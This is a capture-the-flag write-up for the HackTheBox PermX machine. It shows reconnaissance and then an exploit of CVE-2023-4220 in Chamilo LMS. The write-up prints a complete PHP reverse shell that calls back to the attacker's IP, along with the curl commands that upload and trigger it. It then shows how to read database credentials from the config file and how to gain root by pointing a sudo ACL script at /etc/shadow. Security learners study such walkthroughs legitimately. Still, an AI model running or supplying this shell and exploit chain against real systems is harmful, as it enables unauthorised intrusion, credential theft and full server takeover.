HackTheBox PermX Writeup
Explore the fundamentals of cybersecurity in the PermX Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.
Add Hosts#
Edit the /etc/hosts file and add the following entries:
10.10.11.23 permx.htb
Script to add hosts automatically#
ip="10.10.11.23"
domain="permx.htb lms.permx.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV permx.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 16:35 CEST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Subdomain Enumeration with ffuf#
ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -c -fc 302
- Discovered Subdomains:
- lms.permx.htb: [Status: 200, Size: 19347, Words: 4910, Lines: 353]
Exploiting CVE-2023-4220 on Chamilo LMS#
Make the file rce.php
Replace
<vpn-ip>with your actual VPN IP to receive the connection.
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Start a listener for the reverse shell:
nc -lvnp 9001
Upload PHP Reverse Shell:
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Invoke the Uploaded Shell:
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Database Enumeration#
Navigate to the Chamilo LMS directory and look for the configuration.php file, which may contain database credentials.
cd /var/www/chamilo
find ./ -type f -name "configuration.php" -exec ls -l {} \;
Extract database credentials from the configuration file:
cat ./app/config/configuration.php | grep "db_"
Privilege Escalation#
SSH into the Server:
Log in using mtz credentials (if found in the database):
ssh mtz@permx.htb
Check Sudo Permissions:
Check what mtz can run with sudo:
sudo -l
Output:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Exploit ACL Script for Privilege Escalation:
The script /opt/acl.sh can be used to manipulate file permissions. Create a symbolic link to /etc/shadow, the file storing password hashes, and manipulate its permissions.
ln -s /etc/shadow /home/mtz/shadow
sudo /opt/acl.sh mtz xrw /home/mtz/shadow
Edit the shadow file with nano to replace the root password hash with one you control.
nano /home/mtz/shadow
Gain Root Access:
After editing the shadow file, you can switch to the root user using su:
su
cat /root/root.txt